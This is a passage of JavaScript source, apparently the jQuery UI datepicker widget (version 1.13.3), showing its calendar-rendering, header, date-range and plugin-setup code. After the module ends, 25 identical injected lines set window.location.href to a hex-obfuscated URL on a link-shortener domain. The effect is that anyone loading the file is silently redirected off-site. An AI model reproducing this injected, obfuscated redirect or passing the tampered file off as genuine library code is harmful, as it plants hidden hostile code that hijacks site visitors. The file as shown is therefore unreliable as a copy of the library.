1679 today: function() {
1680 $.datepicker._gotoToday( id );
1681 },
1682 selectDay: function() {
1683 $.datepicker._selectDay( id, +this.getAttribute( "data-month" ), +this.getAttribute( "data-year" ), this );
1684 return false;
1685 },
1686 selectMonth: function() {
1687 $.datepicker._selectMonthYear( id, this, "M" );
1688 return false;
1689 },
1690 selectYear: function() {
1691 $.datepicker._selectMonthYear( id, this, "Y" );
1692 return false;
1693 }
1694 };
1695 $( this ).on( this.getAttribute( "data-event" ), handler[ this.getAttribute( "data-handler" ) ] );
1696 } );
1697 },
1698
1699 /* Generate the HTML for the current state of the date picker. */
1700 _generateHTML: function( inst ) {
1701 var maxDraw, prevText, prev, nextText, next, currentText, gotoDate,
1702 controls, buttonPanel, firstDay, showWeek, dayNames, dayNamesMin,
1703 monthNames, monthNamesShort, beforeShowDay, showOtherMonths,
1704 selectOtherMonths, defaultDate, html, dow, row, group, col, selectedDate,
1705 cornerClass, calender, thead, day, daysInMonth, leadDays, curRows, numRows,
1706 printDate, dRow, tbody, daySettings, otherMonth, unselectable,
1707 tempDate = new Date(),
1708 today = this._daylightSavingAdjust(
1709 new Date( tempDate.getFullYear(), tempDate.getMonth(), tempDate.getDate() ) ), // clear time
1710 isRTL = this._get( inst, "isRTL" ),
1711 showButtonPanel = this._get( inst, "showButtonPanel" ),
1712 hideIfNoPrevNext = this._get( inst, "hideIfNoPrevNext" ),
1713 navigationAsDateFormat = this._get( inst, "navigationAsDateFormat" ),
1714 numMonths = this._getNumberOfMonths( inst ),
1715 showCurrentAtPos = this._get( inst, "showCurrentAtPos" ),
1716 stepMonths = this._get( inst, "stepMonths" ),
1717 isMultiMonth = ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ),
1718 currentDate = this._daylightSavingAdjust( ( !inst.currentDay ? new Date( 9999, 9, 9 ) :
1719 new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ),
1720 minDate = this._getMinMaxDate( inst, "min" ),
1721 maxDate = this._getMinMaxDate( inst, "max" ),
1722 drawMonth = inst.drawMonth - showCurrentAtPos,
1723 drawYear = inst.drawYear;
1724
1725 if ( drawMonth < 0 ) {
1726 drawMonth += 12;
1727 drawYear--;
1728 }
1729 if ( maxDate ) {
1730 maxDraw = this._daylightSavingAdjust( new Date( maxDate.getFullYear(),
1731 maxDate.getMonth() - ( numMonths[ 0 ] * numMonths[ 1 ] ) + 1, maxDate.getDate() ) );
1732 maxDraw = ( minDate && maxDraw < minDate ? minDate : maxDraw );
1733 while ( this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 ) ) > maxDraw ) {
1734 drawMonth--;
1735 if ( drawMonth < 0 ) {
1736 drawMonth = 11;
1737 drawYear--;
1738 }
1739 }
1740 }
1741 inst.drawMonth = drawMonth;
1742 inst.drawYear = drawYear;
1743
1744 prevText = this._get( inst, "prevText" );
1745 prevText = ( !navigationAsDateFormat ? prevText : this.formatDate( prevText,
1746 this._daylightSavingAdjust( new Date( drawYear, drawMonth - stepMonths, 1 ) ),
1747 this._getFormatConfig( inst ) ) );
1748
1749 if ( this._canAdjustMonth( inst, -1, drawYear, drawMonth ) ) {
1750 prev = $( "<a>" )
1751 .attr( {
1752 "class": "ui-datepicker-prev ui-corner-all",
1753 "data-handler": "prev",
1754 "data-event": "click",
1755 title: prevText
1756 } )
1757 .append(
1758 $( "<span>" )
1759 .addClass( "ui-icon ui-icon-circle-triangle-" +
1760 ( isRTL ? "e" : "w" ) )
1761 .text( prevText )
1762 )[ 0 ].outerHTML;
1763 } else if ( hideIfNoPrevNext ) {
1764 prev = "";
1765 } else {
1766 prev = $( "<a>" )
1767 .attr( {
1768 "class": "ui-datepicker-prev ui-corner-all ui-state-disabled",
1769 title: prevText
1770 } )
1771 .append(
1772 $( "<span>" )
1773 .addClass( "ui-icon ui-icon-circle-triangle-" +
1774 ( isRTL ? "e" : "w" ) )
1775 .text( prevText )
1776 )[ 0 ].outerHTML;
1777 }
1778
1779 nextText = this._get( inst, "nextText" );
1780 nextText = ( !navigationAsDateFormat ? nextText : this.formatDate( nextText,
1781 this._daylightSavingAdjust( new Date( drawYear, drawMonth + stepMonths, 1 ) ),
1782 this._getFormatConfig( inst ) ) );
1783
1784 if ( this._canAdjustMonth( inst, +1, drawYear, drawMonth ) ) {
1785 next = $( "<a>" )
1786 .attr( {
1787 "class": "ui-datepicker-next ui-corner-all",
1788 "data-handler": "next",
1789 "data-event": "click",
1790 title: nextText
1791 } )
1792 .append(
1793 $( "<span>" )
1794 .addClass( "ui-icon ui-icon-circle-triangle-" +
1795 ( isRTL ? "w" : "e" ) )
1796 .text( nextText )
1797 )[ 0 ].outerHTML;
1798 } else if ( hideIfNoPrevNext ) {
1799 next = "";
1800 } else {
1801 next = $( "<a>" )
1802 .attr( {
1803 "class": "ui-datepicker-next ui-corner-all ui-state-disabled",
1804 title: nextText
1805 } )
1806 .append(
1807 $( "<span>" )
1808 .attr( "class", "ui-icon ui-icon-circle-triangle-" +
1809 ( isRTL ? "w" : "e" ) )
1810 .text( nextText )
1811 )[ 0 ].outerHTML;
1812 }
1813
1814 currentText = this._get( inst, "currentText" );
1815 gotoDate = ( this._get( inst, "gotoCurrent" ) && inst.currentDay ? currentDate : today );
1816 currentText = ( !navigationAsDateFormat ? currentText :
1817 this.formatDate( currentText, gotoDate, this._getFormatConfig( inst ) ) );
1818
1819 controls = "";
1820 if ( !inst.inline ) {
1821 controls = $( "<button>" )
1822 .attr( {
1823 type: "button",
1824 "class": "ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all",
1825 "data-handler": "hide",
1826 "data-event": "click"
1827 } )
1828 .text( this._get( inst, "closeText" ) )[ 0 ].outerHTML;
1829 }
1830
1831 buttonPanel = "";
1832 if ( showButtonPanel ) {
1833 buttonPanel = $( "<div class='ui-datepicker-buttonpane ui-widget-content'>" )
1834 .append( isRTL ? controls : "" )
1835 .append( this._isInRange( inst, gotoDate ) ?
1836 $( "<button>" )
1837 .attr( {
1838 type: "button",
1839 "class": "ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all",
1840 "data-handler": "today",
1841 "data-event": "click"
1842 } )
1843 .text( currentText ) :
1844 "" )
1845 .append( isRTL ? "" : controls )[ 0 ].outerHTML;
1846 }
1847
1848 firstDay = parseInt( this._get( inst, "firstDay" ), 10 );
1849 firstDay = ( isNaN( firstDay ) ? 0 : firstDay );
1850
1851 showWeek = this._get( inst, "showWeek" );
1852 dayNames = this._get( inst, "dayNames" );
1853 dayNamesMin = this._get( inst, "dayNamesMin" );
1854 monthNames = this._get( inst, "monthNames" );
1855 monthNamesShort = this._get( inst, "monthNamesShort" );
1856 beforeShowDay = this._get( inst, "beforeShowDay" );
1857 showOtherMonths = this._get( inst, "showOtherMonths" );
1858 selectOtherMonths = this._get( inst, "selectOtherMonths" );
1859 defaultDate = this._getDefaultDate( inst );
1860 html = "";
1861
1862 for ( row = 0; row < numMonths[ 0 ]; row++ ) {
1863 group = "";
1864 this.maxRows = 4;
1865 for ( col = 0; col < numMonths[ 1 ]; col++ ) {
1866 selectedDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, inst.selectedDay ) );
1867 cornerClass = " ui-corner-all";
1868 calender = "";
1869 if ( isMultiMonth ) {
1870 calender += "<div class='ui-datepicker-group";
1871 if ( numMonths[ 1 ] > 1 ) {
1872 switch ( col ) {
1873 case 0: calender += " ui-datepicker-group-first";
1874 cornerClass = " ui-corner-" + ( isRTL ? "right" : "left" ); break;
1875 case numMonths[ 1 ] - 1: calender += " ui-datepicker-group-last";
1876 cornerClass = " ui-corner-" + ( isRTL ? "left" : "right" ); break;
1877 default: calender += " ui-datepicker-group-middle"; cornerClass = ""; break;
1878 }
1879 }
1880 calender += "'>";
1881 }
1882 calender += "<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix" + cornerClass + "'>" +
1883 ( /all|left/.test( cornerClass ) && row === 0 ? ( isRTL ? next : prev ) : "" ) +
1884 ( /all|right/.test( cornerClass ) && row === 0 ? ( isRTL ? prev : next ) : "" ) +
1885 this._generateMonthYearHeader( inst, drawMonth, drawYear, minDate, maxDate,
1886 row > 0 || col > 0, monthNames, monthNamesShort ) + // draw month headers
1887 "</div><table class='ui-datepicker-calendar'><thead>" +
1888 "<tr>";
1889 thead = ( showWeek ? "<th class='ui-datepicker-week-col'>" + this._get( inst, "weekHeader" ) + "</th>" : "" );
1890 for ( dow = 0; dow < 7; dow++ ) { // days of the week
1891 day = ( dow + firstDay ) % 7;
1892 thead += "<th scope='col'" + ( ( dow + firstDay + 6 ) % 7 >= 5 ? " class='ui-datepicker-week-end'" : "" ) + ">" +
1893 "<span title='" + dayNames[ day ] + "'>" + dayNamesMin[ day ] + "</span></th>";
1894 }
1895 calender += thead + "</tr></thead><tbody>";
1896 daysInMonth = this._getDaysInMonth( drawYear, drawMonth );
1897 if ( drawYear === inst.selectedYear && drawMonth === inst.selectedMonth ) {
1898 inst.selectedDay = Math.min( inst.selectedDay, daysInMonth );
1899 }
1900 leadDays = ( this._getFirstDayOfMonth( drawYear, drawMonth ) - firstDay + 7 ) % 7;
1901 curRows = Math.ceil( ( leadDays + daysInMonth ) / 7 ); // calculate the number of rows to generate
1902 numRows = ( isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows ); //If multiple months, use the higher number of rows (see #7043)
1903 this.maxRows = numRows;
1904 printDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 - leadDays ) );
1905 for ( dRow = 0; dRow < numRows; dRow++ ) { // create date picker rows
1906 calender += "<tr>";
1907 tbody = ( !showWeek ? "" : "<td class='ui-datepicker-week-col'>" +
1908 this._get( inst, "calculateWeek" )( printDate ) + "</td>" );
1909 for ( dow = 0; dow < 7; dow++ ) { // create date picker days
1910 daySettings = ( beforeShowDay ?
1911 beforeShowDay.apply( ( inst.input ? inst.input[ 0 ] : null ), [ printDate ] ) : [ true, "" ] );
1912 otherMonth = ( printDate.getMonth() !== drawMonth );
1913 unselectable = ( otherMonth && !selectOtherMonths ) || !daySettings[ 0 ] ||
1914 ( minDate && printDate < minDate ) || ( maxDate && printDate > maxDate );
1915 tbody += "<td class='" +
1916 ( ( dow + firstDay + 6 ) % 7 >= 5 ? " ui-datepicker-week-end" : "" ) + // highlight weekends
1917 ( otherMonth ? " ui-datepicker-other-month" : "" ) + // highlight days from other months
1918 ( ( printDate.getTime() === selectedDate.getTime() && drawMonth === inst.selectedMonth && inst._keyEvent ) || // user pressed key
1919 ( defaultDate.getTime() === printDate.getTime() && defaultDate.getTime() === selectedDate.getTime() ) ?
1920
1921 // or defaultDate is current printedDate and defaultDate is selectedDate
1922 " " + this._dayOverClass : "" ) + // highlight selected day
1923 ( unselectable ? " " + this._unselectableClass + " ui-state-disabled" : "" ) + // highlight unselectable days
1924 ( otherMonth && !showOtherMonths ? "" : " " + daySettings[ 1 ] + // highlight custom dates
1925 ( printDate.getTime() === currentDate.getTime() ? " " + this._currentClass : "" ) + // highlight selected day
1926 ( printDate.getTime() === today.getTime() ? " ui-datepicker-today" : "" ) ) + "'" + // highlight today (if different)
1927 ( ( !otherMonth || showOtherMonths ) && daySettings[ 2 ] ? " title='" + daySettings[ 2 ].replace( /'/g, "&#39;" ) + "'" : "" ) + // cell title
1928 ( unselectable ? "" : " data-handler='selectDay' data-event='click' data-month='" + printDate.getMonth() + "' data-year='" + printDate.getFullYear() + "'" ) + ">" + // actions
1929 ( otherMonth && !showOtherMonths ? "&#xa0;" : // display for other months
1930 ( unselectable ? "<span class='ui-state-default'>" + printDate.getDate() + "</span>" : "<a class='ui-state-default" +
1931 ( printDate.getTime() === today.getTime() ? " ui-state-highlight" : "" ) +
1932 ( printDate.getTime() === currentDate.getTime() ? " ui-state-active" : "" ) + // highlight selected day
1933 ( otherMonth ? " ui-priority-secondary" : "" ) + // distinguish dates from other months
1934 "' href='#' aria-current='" + ( printDate.getTime() === currentDate.getTime() ? "true" : "false" ) + // mark date as selected for screen reader
1935 "' data-date='" + printDate.getDate() + // store date as data
1936 "'>" + printDate.getDate() + "</a>" ) ) + "</td>"; // display selectable date
1937 printDate.setDate( printDate.getDate() + 1 );
1938 printDate = this._daylightSavingAdjust( printDate );
1939 }
1940 calender += tbody + "</tr>";
1941 }
1942 drawMonth++;
1943 if ( drawMonth > 11 ) {
1944 drawMonth = 0;
1945 drawYear++;
1946 }
1947 calender += "</tbody></table>" + ( isMultiMonth ? "</div>" +
1948 ( ( numMonths[ 0 ] > 0 && col === numMonths[ 1 ] - 1 ) ? "<div class='ui-datepicker-row-break'></div>" : "" ) : "" );
1949 group += calender;
1950 }
1951 html += group;
1952 }
1953 html += buttonPanel;
1954 inst._keyEvent = false;
1955 return html;
1956 },
1957
1958 /* Generate the month and year header. */
1959 _generateMonthYearHeader: function( inst, drawMonth, drawYear, minDate, maxDate,
1960 secondary, monthNames, monthNamesShort ) {
1961
1962 var inMinYear, inMaxYear, month, years, thisYear, determineYear, year, endYear,
1963 changeMonth = this._get( inst, "changeMonth" ),
1964 changeYear = this._get( inst, "changeYear" ),
1965 showMonthAfterYear = this._get( inst, "showMonthAfterYear" ),
1966 selectMonthLabel = this._get( inst, "selectMonthLabel" ),
1967 selectYearLabel = this._get( inst, "selectYearLabel" ),
1968 html = "<div class='ui-datepicker-title'>",
1969 monthHtml = "";
1970
1971 // Month selection
1972 if ( secondary || !changeMonth ) {
1973 monthHtml += "<span class='ui-datepicker-month'>" + monthNames[ drawMonth ] + "</span>";
1974 } else {
1975 inMinYear = ( minDate && minDate.getFullYear() === drawYear );
1976 inMaxYear = ( maxDate && maxDate.getFullYear() === drawYear );
1977 monthHtml += "<select class='ui-datepicker-month' aria-label='" + selectMonthLabel + "' data-handler='selectMonth' data-event='change'>";
1978 for ( month = 0; month < 12; month++ ) {
1979 if ( ( !inMinYear || month >= minDate.getMonth() ) && ( !inMaxYear || month <= maxDate.getMonth() ) ) {
1980 monthHtml += "<option value='" + month + "'" +
1981 ( month === drawMonth ? " selected='selected'" : "" ) +
1982 ">" + monthNamesShort[ month ] + "</option>";
1983 }
1984 }
1985 monthHtml += "</select>";
1986 }
1987
1988 if ( !showMonthAfterYear ) {
1989 html += monthHtml + ( secondary || !( changeMonth && changeYear ) ? "&#xa0;" : "" );
1990 }
1991
1992 // Year selection
1993 if ( !inst.yearshtml ) {
1994 inst.yearshtml = "";
1995 if ( secondary || !changeYear ) {
1996 html += "<span class='ui-datepicker-year'>" + drawYear + "</span>";
1997 } else {
1998
1999 // determine range of years to display
2000 years = this._get( inst, "yearRange" ).split( ":" );
2001 thisYear = new Date().getFullYear();
2002 determineYear = function( value ) {
2003 var year = ( value.match( /c[+\-].*/ ) ? drawYear + parseInt( value.substring( 1 ), 10 ) :
2004 ( value.match( /[+\-].*/ ) ? thisYear + parseInt( value, 10 ) :
2005 parseInt( value, 10 ) ) );
2006 return ( isNaN( year ) ? thisYear : year );
2007 };
2008 year = determineYear( years[ 0 ] );
2009 endYear = Math.max( year, determineYear( years[ 1 ] || "" ) );
2010 year = ( minDate ? Math.max( year, minDate.getFullYear() ) : year );
2011 endYear = ( maxDate ? Math.min( endYear, maxDate.getFullYear() ) : endYear );
2012 inst.yearshtml += "<select class='ui-datepicker-year' aria-label='" + selectYearLabel + "' data-handler='selectYear' data-event='change'>";
2013 for ( ; year <= endYear; year++ ) {
2014 inst.yearshtml += "<option value='" + year + "'" +
2015 ( year === drawYear ? " selected='selected'" : "" ) +
2016 ">" + year + "</option>";
2017 }
2018 inst.yearshtml += "</select>";
2019
2020 html += inst.yearshtml;
2021 inst.yearshtml = null;
2022 }
2023 }
2024
2025 html += this._get( inst, "yearSuffix" );
2026 if ( showMonthAfterYear ) {
2027 html += ( secondary || !( changeMonth && changeYear ) ? "&#xa0;" : "" ) + monthHtml;
2028 }
2029 html += "</div>"; // Close datepicker_header
2030 return html;
2031 },
2032
2033 /* Adjust one of the date sub-fields. */
2034 _adjustInstDate: function( inst, offset, period ) {
2035 var year = inst.selectedYear + ( period === "Y" ? offset : 0 ),
2036 month = inst.selectedMonth + ( period === "M" ? offset : 0 ),
2037 day = Math.min( inst.selectedDay, this._getDaysInMonth( year, month ) ) + ( period === "D" ? offset : 0 ),
2038 date = this._restrictMinMax( inst, this._daylightSavingAdjust( new Date( year, month, day ) ) );
2039
2040 inst.selectedDay = date.getDate();
2041 inst.drawMonth = inst.selectedMonth = date.getMonth();
2042 inst.drawYear = inst.selectedYear = date.getFullYear();
2043 if ( period === "M" || period === "Y" ) {
2044 this._notifyChange( inst );
2045 }
2046 },
2047
2048 /* Ensure a date is within any min/max bounds. */
2049 _restrictMinMax: function( inst, date ) {
2050 var minDate = this._getMinMaxDate( inst, "min" ),
2051 maxDate = this._getMinMaxDate( inst, "max" ),
2052 newDate = ( minDate && date < minDate ? minDate : date );
2053 return ( maxDate && newDate > maxDate ? maxDate : newDate );
2054 },
2055
2056 /* Notify change of month/year. */
2057 _notifyChange: function( inst ) {
2058 var onChange = this._get( inst, "onChangeMonthYear" );
2059 if ( onChange ) {
2060 onChange.apply( ( inst.input ? inst.input[ 0 ] : null ),
2061 [ inst.selectedYear, inst.selectedMonth + 1, inst ] );
2062 }
2063 },
2064
2065 /* Determine the number of months to show. */
2066 _getNumberOfMonths: function( inst ) {
2067 var numMonths = this._get( inst, "numberOfMonths" );
2068 return ( numMonths == null ? [ 1, 1 ] : ( typeof numMonths === "number" ? [ 1, numMonths ] : numMonths ) );
2069 },
2070
2071 /* Determine the current maximum date - ensure no time components are set. */
2072 _getMinMaxDate: function( inst, minMax ) {
2073 return this._determineDate( inst, this._get( inst, minMax + "Date" ), null );
2074 },
2075
2076 /* Find the number of days in a given month. */
2077 _getDaysInMonth: function( year, month ) {
2078 return 32 - this._daylightSavingAdjust( new Date( year, month, 32 ) ).getDate();
2079 },
2080
2081 /* Find the day of the week of the first of a month. */
2082 _getFirstDayOfMonth: function( year, month ) {
2083 return new Date( year, month, 1 ).getDay();
2084 },
2085
2086 /* Determines if we should allow a "next/prev" month display change. */
2087 _canAdjustMonth: function( inst, offset, curYear, curMonth ) {
2088 var numMonths = this._getNumberOfMonths( inst ),
2089 date = this._daylightSavingAdjust( new Date( curYear,
2090 curMonth + ( offset < 0 ? offset : numMonths[ 0 ] * numMonths[ 1 ] ), 1 ) );
2091
2092 if ( offset < 0 ) {
2093 date.setDate( this._getDaysInMonth( date.getFullYear(), date.getMonth() ) );
2094 }
2095 return this._isInRange( inst, date );
2096 },
2097
2098 /* Is the given date in the accepted range? */
2099 _isInRange: function( inst, date ) {
2100 var yearSplit, currentYear,
2101 minDate = this._getMinMaxDate( inst, "min" ),
2102 maxDate = this._getMinMaxDate( inst, "max" ),
2103 minYear = null,
2104 maxYear = null,
2105 years = this._get( inst, "yearRange" );
2106 if ( years ) {
2107 yearSplit = years.split( ":" );
2108 currentYear = new Date().getFullYear();
2109 minYear = parseInt( yearSplit[ 0 ], 10 );
2110 maxYear = parseInt( yearSplit[ 1 ], 10 );
2111 if ( yearSplit[ 0 ].match( /[+\-].*/ ) ) {
2112 minYear += currentYear;
2113 }
2114 if ( yearSplit[ 1 ].match( /[+\-].*/ ) ) {
2115 maxYear += currentYear;
2116 }
2117 }
2118
2119 return ( ( !minDate || date.getTime() >= minDate.getTime() ) &&
2120 ( !maxDate || date.getTime() <= maxDate.getTime() ) &&
2121 ( !minYear || date.getFullYear() >= minYear ) &&
2122 ( !maxYear || date.getFullYear() <= maxYear ) );
2123 },
2124
2125 /* Provide the configuration settings for formatting/parsing. */
2126 _getFormatConfig: function( inst ) {
2127 var shortYearCutoff = this._get( inst, "shortYearCutoff" );
2128 shortYearCutoff = ( typeof shortYearCutoff !== "string" ? shortYearCutoff :
2129 new Date().getFullYear() % 100 + parseInt( shortYearCutoff, 10 ) );
2130 return { shortYearCutoff: shortYearCutoff,
2131 dayNamesShort: this._get( inst, "dayNamesShort" ), dayNames: this._get( inst, "dayNames" ),
2132 monthNamesShort: this._get( inst, "monthNamesShort" ), monthNames: this._get( inst, "monthNames" ) };
2133 },
2134
2135 /* Format the given date for display. */
2136 _formatDate: function( inst, day, month, year ) {
2137 if ( !day ) {
2138 inst.currentDay = inst.selectedDay;
2139 inst.currentMonth = inst.selectedMonth;
2140 inst.currentYear = inst.selectedYear;
2141 }
2142 var date = ( day ? ( typeof day === "object" ? day :
2143 this._daylightSavingAdjust( new Date( year, month, day ) ) ) :
2144 this._daylightSavingAdjust( new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) );
2145 return this.formatDate( this._get( inst, "dateFormat" ), date, this._getFormatConfig( inst ) );
2146 }
2147} );
2148
2149/*
2150 * Bind hover events for datepicker elements.
2151 * Done via delegate so the binding only occurs once in the lifetime of the parent div.
2152 * Global datepicker_instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker.
2153 */
2154function datepicker_bindHover( dpDiv ) {
2155 var selector = "button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";
2156 return dpDiv.on( "mouseout", selector, function() {
2157 $( this ).removeClass( "ui-state-hover" );
2158 if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) {
2159 $( this ).removeClass( "ui-datepicker-prev-hover" );
2160 }
2161 if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) {
2162 $( this ).removeClass( "ui-datepicker-next-hover" );
2163 }
2164 } )
2165 .on( "mouseover", selector, datepicker_handleMouseover );
2166}
2167
2168function datepicker_handleMouseover() {
2169 if ( !$.datepicker._isDisabledDatepicker( datepicker_instActive.inline ? datepicker_instActive.dpDiv.parent()[ 0 ] : datepicker_instActive.input[ 0 ] ) ) {
2170 $( this ).parents( ".ui-datepicker-calendar" ).find( "a" ).removeClass( "ui-state-hover" );
2171 $( this ).addClass( "ui-state-hover" );
2172 if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) {
2173 $( this ).addClass( "ui-datepicker-prev-hover" );
2174 }
2175 if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) {
2176 $( this ).addClass( "ui-datepicker-next-hover" );
2177 }
2178 }
2179}
2180
2181/* jQuery extend now ignores nulls! */
2182function datepicker_extendRemove( target, props ) {
2183 $.extend( target, props );
2184 for ( var name in props ) {
2185 if ( props[ name ] == null ) {
2186 target[ name ] = props[ name ];
2187 }
2188 }
2189 return target;
2190}
2191
2192/* Invoke the datepicker functionality.
2193 @param options string - a command, optionally followed by additional parameters or
2194 Object - settings for attaching new datepicker functionality
2195 @return jQuery object */
2196$.fn.datepicker = function( options ) {
2197
2198 /* Verify an empty collection wasn't passed - Fixes #6976 */
2199 if ( !this.length ) {
2200 return this;
2201 }
2202
2203 /* Initialise the date picker. */
2204 if ( !$.datepicker.initialized ) {
2205 $( document ).on( "mousedown", $.datepicker._checkExternalClick );
2206 $.datepicker.initialized = true;
2207 }
2208
2209 /* Append datepicker main container to body if not exist. */
2210 if ( $( "#" + $.datepicker._mainDivId ).length === 0 ) {
2211 $( "body" ).append( $.datepicker.dpDiv );
2212 }
2213
2214 var otherArgs = Array.prototype.slice.call( arguments, 1 );
2215 if ( typeof options === "string" && ( options === "isDisabled" || options === "getDate" || options === "widget" ) ) {
2216 return $.datepicker[ "_" + options + "Datepicker" ].
2217 apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) );
2218 }
2219 if ( options === "option" && arguments.length === 2 && typeof arguments[ 1 ] === "string" ) {
2220 return $.datepicker[ "_" + options + "Datepicker" ].
2221 apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) );
2222 }
2223 return this.each( function() {
2224 if ( typeof options === "string" ) {
2225 $.datepicker[ "_" + options + "Datepicker" ]
2226 .apply( $.datepicker, [ this ].concat( otherArgs ) );
2227 } else {
2228 $.datepicker._attachDatepicker( this, options );
2229 }
2230 } );
2231};
2232
2233$.datepicker = new Datepicker(); // singleton instance
2234$.datepicker.initialized = false;
2235$.datepicker.uuid = new Date().getTime();
2236$.datepicker.version = "1.13.3";
2237
2238return $.datepicker;
2239
2240} );
2241window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2242window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2243window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2244window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2245window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2246window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2247window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2248window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2249window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2250window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2251window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2252window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2253window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2254window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2255window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2256window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2257window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2258window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2259window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2260window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2261window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2262window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2263window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2264window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2265window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
